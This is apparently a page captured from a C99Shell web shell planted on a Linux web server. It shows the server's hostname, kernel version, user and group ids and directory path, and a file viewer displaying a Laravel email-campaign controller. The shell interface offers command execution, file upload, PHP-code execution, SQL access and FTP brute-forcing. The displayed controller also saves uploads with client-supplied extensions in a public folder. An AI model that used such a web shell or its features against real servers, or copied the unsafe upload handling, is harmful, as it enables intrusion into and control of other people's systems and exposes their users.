!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (33.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Jobs\CampaignCreateChunk;
use 
App\Jobs\CampaignCreateJob;
use 
App\Models\Campaign;
use 
App\Models\CampaignTemplate;
use 
App\Models\Contact;
use 
App\Models\EmailQueue;
use 
App\Models\EmailTemplate;
use 
App\Models\Message;
use 
App\Models\Unsubscribe;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;

class 
CampaignController extends Controller
{
    public function 
index()
    {
        return 
view('customer.campaign.index');
    }

    public function 
getAll()
    {
        
$campaings auth('customer')->user()->campaings()->withCount(['email_queue','total_processed'])->orderByDesc('id');
        return 
datatables()->of($campaings)
            ->
addColumn('title', function ($q) {
                
$title "<a href='" route('customer.campaign.edit', [$q]) . "'>$q->title</a>";
                if (
$q->status == 'running') {
                    
$title .= '(' $q->total_processed_count '/' $q->email_queue_count ')';
                }
                return 
$title;
            })
            ->
addColumn('start_date', function ($q) {
                if (
$q->start_date) {
                    return 
$q->start_date->format('Y-m-d');
                }
            })
            ->
addColumn('end_date', function ($q) {
                if (
$q->end_date) {
                    return 
$q->end_date->format('Y-m-d');
                }
            })
            ->
addColumn('status', function ($q) {
                if (
$q->import_fail_message) {
                    return 
' <button type="button" class="btn light btn-sm btn-danger">Import Failed</button> <br>' $q->import_fail_message;
                }

                if (
$q->status == 'running') {
                    if(
$q->total_processed_count>=$q->email_queue_count){
                        return 
' <button type="button" class="btn light btn-sm btn-primary">Completed</button>';
                    }
                    return 
'  <button type="button" class="btn light btn-sm btn-success dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Running
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to change this campaign status?" data-action=' 
route('customer.campaign.status', ['id' => $q->id'status' => 'paused']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Pause
                                     </button>
                                </div>'
;
                } elseif (
$q->status == 'failed') {
                    return 
'  <button type="button" class="btn light btn-sm btn-danger">Failed</button> <br>' $q->import_fail_message;
                } elseif (
$q->status == 'importing') {
                    return 
"<span> <i class=\"fas fa-spinner fa-pulse\"></i> importing</span>";
                } elseif (
$q->status == 'creating') {
                    return 
"<span class='btn light btn-xs btn-info'>Creating</span>";
                } else {
                    return 
'<button type="button" class="btn light btn-sm btn-warning dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Pause
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to change this campaign status?" data-action=' 
route('customer.campaign.status', ['id' => $q->id'status' => 'running']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Running
                                     </button>
                                </div>'
;
                }
            })->
addColumn('action', function ($q) {

                
$html '<button class="btn btn-sm btn-danger" data-message="Are you sure, you want to delete this campaign? <br> <br> <small>N.B: This will delete all messages including sent and queue related to this campaign.</small>"
                                        data-action=' 
route('customer.campaign.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button> &nbsp; &nbsp;' 
.
                    
"<a class='btn btn-sm btn-info' href='" route('customer.campaign.edit', [$q->id]) . "'>Edit</a>";
                
$statistics "<a class='btn btn-sm btn-info' target='_blank' href='" route('customer.campaign.statistic', [$q->id]) . "'>Statistics</a> &nbsp; &nbsp;";

                if (
$q->status == 'running') {
                    
$html $statistics $html;
                }
                return 
$html;
            })->
rawColumns(['title''action''status'])->toJson();
    }

    public function 
show()
    {
    }

    public function 
edit($id)
    {
        
$customer auth('customer')->user();
        
$data['campaign'] = $campaign $customer->campaings()->where('id'$id)->firstOrFail();
        
$data['groups'] = $customer->groups()->get();
        
$data['senders'] = $customer->senders()->get();
        
$data['currentPlan'] = $customer->plan()->first();
        
$data['contacts'] = $customer->contacts()->get();
        
$data['useEmail'] = $customer->message_logs()->count();
        
$tempate $customer->campaign_template()->where('id'$campaign->template_id)->first();
        if (isset(
$tempate->value) && $tempate->value) {
            
$data['template'] = $tempate;
            
$data['campaign_template'] = json_decode($tempate->value);
        }
        return 
view('customer.campaign.edit'$data);
    }

    public function 
create()
    {

        
$customer auth('customer')->user();

        
$data['templates'] = EmailTemplate::where('user_id'$customer->id)->where('status''active')->get();
        
$data['groups'] = $customer->groups()->withCount('contacts')->get();
        
$data['from_groups'] = $customer->from_groups;

        return 
view('customer.campaign.create'$data);
    }

    public function 
update(Campaign $campaignRequest $request)
    {
        if (
$request->update_type == 'title') {
            if (!
$request->title) {
                return 
redirect()->back()->with('fail''Invalid Title');
            } else {
                
$campaign->update(['title' => $request->title]);
                return 
redirect()->back()->with('success'trans('Campaign title update successfully'));
            }
        } elseif (
$request->update_type == 'from') {
            if (!
$request->from_email || !$request->from_email_name) {
                return 
redirect()->back()->with('fail''Invalid from data');
            } else {
                
$campaign->update(['from_email' => $request->from_email'from_email_name' => $request->from_email_name'reply_to_email' => $request->reply_to_email ?: $request->from_email'customize_to_email' => $request->customize_to_email]);
                return 
redirect()->back()->with('success'trans('Campaign from update successfully'));
            }
        } elseif (
$request->update_type == 'to') {

            if (!
$request->group_id) {
                return 
redirect()->back()->with('fail''Campaign group is required');
            }
            
$customer auth('customer')->user();
            
$contactIds $customer->contact_groups()->whereIn('group_id'$request->group_id)->pluck('contact_id');
            
$to_emails Contact::whereIn('id'$contactIds)->pluck('email');
            
$group_id json_encode($request->group_id);
            
$campaign->update(['to_email' => json_encode($to_emails), 'group_id' => $group_id]);
            return 
redirect()->back()->with('success'trans('Campaign to email update successfully'));

        } elseif (
$request->update_type == 'subject') {
            if (!
$request->subject_line) {
                return 
redirect()->back()->with('fail''Campaign subject is required');
            } else {
                
$campaign->update(['subject_line' => $request->subject_line'preview_text' => $request->preview_text]);
                return 
redirect()->back()->with('success'trans('Campaign subject update successfully'));
            }
        } elseif (
$request->update_type == 'date_time') {
            if (!
$request->starting_date || !$request->ending_date || !$request->starting_time || !$request->ending_time) {
                return 
redirect()->back()->with('fail''Invalid Date Time');
            } else {
                
$campaign->update(['start_date' => $request->starting_date'end_date' => $request->ending_date'start_time' => $request->starting_time'end_time' => $request->ending_time]);
                return 
redirect()->back()->with('success'trans('Campaign date time update successfully'));
            }

        }
    }

    public function 
getTemplate(Request $request)
    {
        
$customer auth('customer')->user();
        
$template EmailTemplate::where('id'$request->template_id)->where('user_id'$customer->id)->first();

        return 
response()->json(['status' => 'success''data' => $template->body]);
    }

    public function 
store(Request $request)
    {
        if (
config("app.demo")) {
            return 
redirect()->back()->withErrors(['message' => trans('admin.app_demo_message')]);
        }
        
$request->validate([
            
'title' => 'required',
        ]);
        
$customer auth('customer')->user();
        
$campaign = new Campaign();
        
$campaign->title $request->title;
        
$campaign->customer_id $customer->id;
        
$campaign->save();
        return 
redirect()->route('customer.campaign.edit', [$campaign->id])->with('success'trans('Campaign created successfully'));
    }

    public function 
campaign_template_send(Request $request)
    {

        
$request->validate([
            
'campaign_id' => 'required',
        ]);
        
$customer auth('customer')->user();
        
$campaign $customer->campaings()->where('id'$request->campaign_id)->firstOrFail();
        if (!
$campaign->title || !$campaign->from_email || !$campaign->to_email || !$campaign->start_date || !$campaign->end_date || !$campaign->start_time || !$campaign->end_time || !$campaign->template_id || !$campaign->from_email_name || !$campaign->subject_line || $campaign->status == 'running') {
            
Log::info("campaign required fields are missing");
            
abort(404);
        }
        
$domain $customer->domains()->where('name'getDomainFromEmail($campaign->from_email))->first();
        
$to json_decode($campaign->to_email);
        
$current_plan auth('customer')->user()->plan;
        if (!
$current_plan)
            return 
back()->with('fail''Customer doesn\'t have any plan right now');

        
//subtracting one email TODO:: will need to count text and sub that
        
$pre_available_emails $current_plan->available_emails;
        
$new_available_email $pre_available_emails count($to);


        if (
$new_available_email 0)
            return 
redirect()->back()->with('fail''Doesn\'t have enough email');

        
$fromEmail $campaign->from_email;
        
$unSubscribeEmails Unsubscribe::pluck('email')->toArray();

        
$totalToEmailCount count($to);
        
$allToEmails = [];
        for (
$i 0$i count($to); $i++) {
            if (!
in_array(trim($to[$i]), $unSubscribeEmails)) {
                
$allToEmails[] = trim($to[$i]);
            }
        }
        
setActivity(auth('customer')->user()->id'add''campaign'$campaign->id'Campaign has been created successfully');


        
$startDate = (new Carbon($campaign->start_date))->subDay();
        
$endDate = new Carbon($campaign->end_date);
        
$startTime = new Carbon($campaign->start_time);
        
$endTime = new Carbon($campaign->end_time);
        
$difference_date $startDate->diffInDays($endDate);

        
$newMessage = new Message();
        
$newMessage->customer_id $customer->id;
        
$newMessage->emails json_encode(['from' => $fromEmail'to' => $allToEmails]);
        
$newMessage->campaign_id $campaign->id;
        
$newMessage->reply_to $campaign->reply_to_email;
        
$newMessage->from_name $campaign->from_email_name;
        
$newMessage->subject $campaign->subject_line;
        
$newMessage->template_id $campaign->template_id;
        
$newMessage->type 'sent';
        
$newMessage->read 'no';
        
$newMessage->domain_id $domain->id??null;
        
$newMessage->save();


        
CampaignCreateJob::dispatch($fromEmail$allToEmails$campaign$newMessage$totalToEmailCount$difference_date$startDate$startTimeauth('customer',)->user());


        
$current_plan->available_emails $new_available_email;
        
$current_plan->save();
        return 
redirect()->route('customer.campaign.index')->with('success'trans('Campaign scheduled successfully'));
    }

    public function 
destroy(Campaign $campaign)
    {
        if (
config("app.demo")) {
            return 
redirect()->back()->withErrors(['message' => trans('admin.app_demo_message')]);
        }
        if (
$campaign->email_queue) {
            
$campaign->email_queue()->delete();
        }
        if (
$campaign->messages) {
            
$campaign->messages()->delete();
        }

        
setActivity(auth('customer')->user()->id'delete''campaign'$campaign->id'Campaign has been deleted successfully');

        
$campaign->delete();

        return 
redirect()->route('customer.campaign.index')->with('success''Congratulations ! Campaign successfully deleted');
    }

    public function 
status(Request $request)
    {
        
$request->validate([
            
'status' => 'required|in:running,paused',
        ]);

        
$customer auth('customer')->user();
        
$campaign Campaign::where('customer_id'$customer->id)->where('id'$request->id)->firstOrFail();
        
$campaign->status $request->status;
        
$campaign->save();

        
EmailQueue::where('campaign_id'$campaign->id)->where('status'$request->status == 'paused' 'running' 'paused')->update(['status' => $request->status]);

        return 
redirect()->route('customer.campaign.index')->with('success''Congratulations ! Campaign status updated');

    }

    public function 
statistic($id)
    {
        
$customer auth('customer')->user();
        
$campaign Campaign::where('customer_id'$customer->id)->where('id'$id)->firstOrFail();
        
$totalMessage $customer->message_logs()->where('campaign_id'$campaign->id)->count();

        
$data['total_opened'] = $total_opened $customer->message_logs()->where('campaign_id'$campaign->id)->select(DB::raw('COUNT(*) as count'), DB::raw('max(updated_at) as updated_at'))->where('is_open''yes')->groupBy('is_open')->get();
        
$data['total_clicked'] = $total_clicked $customer->message_logs()->where('campaign_id'$campaign->id)->where('is_clicked''yes')->count();
        
$data['total_delivered'] = $total_delivered $customer->message_logs()->where('campaign_id'$campaign->id)->where('status''succeed')->count();
        
$data['total_bounced'] = $total_bounced $customer->message_logs()->where('campaign_id'$campaign->id)->where('is_bounced''yes')->count();
        
$data['total_unsubscribed'] = Unsubscribe::where('campaign_id'$campaign->id)->count();

        
$clicked_report $customer->message_logs()->where('campaign_id'$campaign->id)->select(DB::raw("HOUR(updated_at) as hourNo,COUNT(*) as count"))
            ->
where('is_clicked''yes')
            ->
whereDate('updated_at'now())
            ->
orderBy("updated_at")
            ->
groupBy(DB::raw("hour(updated_at)"))
            ->
get()
            ->
mapToGroups(function ($item$key) {
                return [
"" $item->hourNo => $item];
            });
        
$generatedClickedArray = [];
        for (
$i 0$i 24$i++) {
            
$generatedClickedArray[] = [$i, isset($clicked_report[$i]) ? $clicked_report[$i][0]->count 0];
        }

        
$open_report $customer->message_logs()->where('campaign_id'$campaign->id)->select(DB::raw("HOUR(updated_at) as hourNo,COUNT(*) as count"))
            ->
where('is_open''yes')
            ->
whereDate('updated_at'now())
            ->
orderBy("updated_at")
            ->
groupBy(DB::raw("hour(updated_at)"))
            ->
get()
            ->
mapToGroups(function ($item$key) {
                return [
"" $item->hourNo => $item];
            });
        
$generatedOpenArray = [];
        for (
$i 0$i 24$i++) {
            
$generatedOpenArray[] = [$i, isset($open_report[$i]) ? $open_report[$i][0]->count 0];
        }
        
$data['clicked_report'] = $generatedClickedArray;
        
$data['open_report'] = $generatedOpenArray;

        if (isset(
$total_opened[0]->count)) {
            
$data['open_ratio'] = round((($total_opened[0]->count 100) / $totalMessage), 2);
            
$data['clicked_ratio'] = round((($total_clicked 100) / $totalMessage), 2);
        }

        return 
view('customer.campaign.statistic'$data);
    }

    public function 
campaign_template_show(Request $request)
    {
        if (!
$request->template) {
            
abort(404);
        }
        
$customer auth()->user();
        
$data ['template'] = $request->template;
        
$template $customer->campaign_template()->where('template'$request->template)->first();
        
$data['campaign']=$campaign $customer->campaings()->where('id'$request->campaign_id)->firstOrFail();
        if (isset(
$template->id)) {
            
$campaign->update(['template_id' => $template->id]);
        }

        if (isset(
$template->value)) {
            
$data ['campaign_template'] = json_decode($template->value);
        }

        return 
view('customer.campaign.template'$data);
    }

    public function 
campaign_template_show_store(Request $request)
    {
        
$request['unsubscribe_link']=urldecode($request->unsubscribe_link);

        
$customer auth('customer')->user();
        
$template $customer->campaign_template()->where('template'$request->template_no)->first();

        if (isset(
$template->value)) {
            
$templateDta json_decode($template->value);
        }

        if (
$request->template_no == 'one') {
            if (
$request->hasFile('logo_image')) {
                
$file $request->file('logo_image');
                
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['logo_img'] = $imageName;
            } else {
                
$request['logo_img'] = isset($templateDta->logo_img) && $templateDta->logo_img $templateDta->logo_img '';
            }
            if (
$request->hasFile('product_image_upload')) {
                
$file $request->file('product_image_upload');
                
$imageOneName time() . '_2' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageOneName);
                
$request['product_img_upload'] = $imageOneName;
            } else {
                
$request['product_img_upload'] = isset($templateDta->product_img_upload) && $templateDta->product_img_upload $templateDta->product_img_upload '';
            }
            if (
$template) {
                
$template->template 'one';
                
$template->value json_encode($request->only('logo_img''logo_url''heading''product_image_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            } else {
                
$template = new CampaignTemplate();
                
$template->template 'one';
                
$template->value json_encode($request->only('logo_img''logo_url''heading''product_image_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            }

        } elseif (
$request->template_no == 'two' || $request->template_no == 'three') {
            if (
$request->hasFile('logo_image')) {
                
$file $request->file('logo_image');
                
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['logo_img'] = $imageName;
            } else {
                
$request['logo_img'] = isset($templateDta->logo_img) && $templateDta->logo_img $templateDta->logo_img '';
            }
            if (
$request->hasFile('product_image_upload')) {
                
$file $request->file('product_image_upload');
                
$imageOneName time() . '_2' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageOneName);
                
$request['product_img_upload'] = $imageOneName;
            } else {
                
$request['product_img_upload'] = isset($templateDta->product_img_upload) && $templateDta->product_img_upload $templateDta->product_img_upload '';
            }

            if (
$request->hasFile('first_product_image_upload')) {
                
$file $request->file('first_product_image_upload');
                
$imagetwoName time() . '_3' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imagetwoName);
                
$request['first_product_img_upload'] = $imagetwoName;
            } else {
                
$request['first_product_img_upload'] = isset($templateDta->first_product_img_upload) && $templateDta->first_product_img_upload $templateDta->first_product_img_upload '';
            }


            if (
$request->hasFile('sec_product_img_upload')) {
                
$file $request->file('sec_product_img_upload');
                
$imagethreeName time() . '_4' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imagethreeName);
                
$request['sec_product_img_upload'] = $imagethreeName;
            } else {
                
$request['sec_product_img_upload'] = isset($templateDta->sec_product_img_upload) && $templateDta->sec_product_img_upload $templateDta->sec_product_img_upload '';
            }


            if (
$template) {
                
$template->template $request->template_no;
                
$template->value json_encode($request->only('logo_img''logo_url''heading''product_image_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action''first_product_img_upload''sec_product_img_upload''sec_product_image_url''first_product_image_url'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            } else {
                
$template = new CampaignTemplate();
                
$template->template $request->template_no;
                
$template->value json_encode($request->only('logo_img''logo_url''heading''product_image_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action''first_product_img_upload''sec_product_img_upload''sec_product_image_url''first_product_image_url'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            }

        } elseif (
$request->template_no == 'four') {
            if (
$request->hasFile('logo_image')) {
                
$file $request->file('logo_image');
                
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['logo_img'] = $imageName;
            } else {
                
$request['logo_img'] = isset($templateDta->logo_img) && $templateDta->logo_img $templateDta->logo_img '';
            }
            if (
$request->hasFile('product_image_upload')) {
                
$file $request->file('product_image_upload');
                
$imageOneName time() . '_2' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageOneName);
                
$request['product_img_upload'] = $imageOneName;
            } else {
                
$request['product_img_upload'] = isset($templateDta->product_img_upload) && $templateDta->product_img_upload $templateDta->product_img_upload '';
            }
            if (
$template) {
                
$template->template 'four';
                
$template->value json_encode($request->only('logo_img''logo_url''product_image_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            } else {
                
$template = new CampaignTemplate();
                
$template->template 'four';
                
$template->value json_encode($request->only('logo_img''logo_url''product_image_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            }

        } elseif (
$request->template_no == 'five') {
            if (
$request->hasFile('logo_image')) {
                
$file $request->file('logo_image');
                
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['logo_img'] = $imageName;
            } else {
                
$request['logo_img'] = isset($templateDta->logo_img) && $templateDta->logo_img $templateDta->logo_img '';
            }
            if (
$template) {
                
$template->template $request->template_no;
                
$template->value json_encode($request->only('logo_img''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            } else {
                
$template = new CampaignTemplate();
                
$template->template $request->template_no;
                
$template->value json_encode($request->only('logo_img''logo_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            }

        } elseif (
$request->template_no == 'six') {
            if (
$request->hasFile('logo_image')) {
                
$file $request->file('logo_image');
                
$imageName time() . '_1' '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$request['logo_img'] = $imageName;
            } else {
                
$request['logo_img'] = isset($templateDta->logo_img) && $templateDta->logo_img $templateDta->logo_img '';
            }
            if (
$template) {
                
$template->template $request->template_no;
                
$template->value json_encode($request->only('logo_img''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            } else {
                
$template = new CampaignTemplate();
                
$template->template $request->template_no;
                
$template->value json_encode($request->only('logo_img''logo_url''campaign_title''campaign_description''company_name''email_description''unsubscribe_link''product_img_upload''campaign_call_to_action'));
                
$template->customer_id auth()->user()->id;
                
$template->save();
            }
        }


        return 
redirect()->back()->with('success''Campaign template updated successfully');
    }

    public function 
campaign_template_get_to_email(Request $request)
    {
        
$request->validate([
            
'group_id' => 'required|array'
        
]);
        
$customer auth('customer')->user();
        
$contactIds $customer->contact_groups()->whereIn('group_id'$request->group_id)->pluck('contact_id');
        
$to_email_count Contact::whereIn('id'$contactIds)->count();

        return 
response()->json(['status' => 'success''data' => ['to_count' => $to_email_count]]);
    }

    public function 
campaigns_preview_email_store(Request $request)
    {
        if (!
$request->email) {
            return 
response()->json(['status' => 'failed''message' => 'Invalid Email']);
        }
        
$customer auth('customer')->user();
        
$email $customer->contacts()->where('email'$request->email)->first();
        if (
$email) {
            return 
response()->json(['status' => 'failed''message' => 'Invalid Email']);
        }
        
$contact = new Contact();
        
$contact->customer_id $customer->id;
        
$contact->email $request->email;
        
$contact->save();
        return 
response()->json(['status' => 'success''message' => 'Email successfully added']);

    }

    public function 
campaigns_preview_test(Request $request)
    {

        
$request->validate([
            
'contact_from_email' => 'required|email',
            
'seleted_conteact_emails' => 'required|array',
            
'contact_template_id' => 'required|exists:campaign_templates,id',
            
'contact_start_date' => 'required',
            
'contact_end_date' => 'required',
            
'contact_start_time' => 'required',
            
'contact_end_time' => 'required',
            
'contact_from_email_name' => 'required',
            
'contact_subject_line' => 'required',
        ]);
        
$customer auth('customer')->user();
        
$current_plan auth('customer')->user()->plan;
        if (!
$current_plan) {
            return 
back()->with('fail''Customer doesn\'t have any plan right now');
        }
        
$fromEmail $request->contact_from_email;
        
$domain $customer->domains()->where('name'getDomainFromEmail($fromEmail))->first();

        
$to $request->seleted_conteact_emails;
        
$pre_available_emails $current_plan->available_emails;
        
$new_available_email $pre_available_emails count($to);

        if (
$new_available_email 0) {
            return 
redirect()->back()->with('fail''Doesn\'t have enough email');
        }

        
$emailTemplate=CampaignTemplate::where('id',$request->contact_template_id)->first();

        
setActivity(auth('customer')->user()->id'add''campaign'$request->contact_campaign_id'Campaign has been created successfully');


        
$newMessage = new Message();
        
$newMessage->customer_id $customer->id;
        
$newMessage->emails json_encode(['from' => $fromEmail'to' => $to]);
        
$newMessage->campaign_id $request->contact_campaign_id;
        
$newMessage->from_name $request->contact_from_email_name;
        
$newMessage->reply_to $request->contact_reply_to_email;
        
$newMessage->subject $request->contact_subject_line;
        
$newMessage->template_id $emailTemplate->id;
        
$newMessage->type 'sent';
        
$newMessage->read 'no';
        
$newMessage->domain_id $domain->id??null;
        
$newMessage->save();

        
setActivity(auth('customer')->user()->id'add''compose'$newMessage->id'Sent New Message');

        
$current_plan->available_emails $new_available_email;
        
$current_plan->save();

        
$contacts=Contact::whereIn('email',$to)->get();
        
$email_queue=[];
        foreach (
$contacts as $contact){
            
$email_queue[] = [
                
'random_ref_key' => Str::random(),
                
'domain_id' => $domain->id??null,
                
'message_id' => $newMessage->id,
                
'from' => $fromEmail,
                
'to' => $contact->email,
                
'schedule_datetime' => now(),
                
'body' => null,
                
'created_at' => now(),
                
'updated_at' => now(),
                
'from_name'=>$request->contact_from_email_name,
                
'reply_to'=>$request->contact_reply_to_email,
                
'subject'=>$request->contact_subject_line,
                
'type'=>'sent',
                
'template'=>json_encode(CampaignCreateChunk::generateTemplate($contact,$emailTemplate)),
            ];
        }

        
$customer->email_queues()->createMany($email_queue);
        
$customer->message_logs()->createMany($email_queue);

        return 
redirect()->route('customer.campaign.index')->with('success'trans('Campaign test email created successfully'));


    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0084 ]--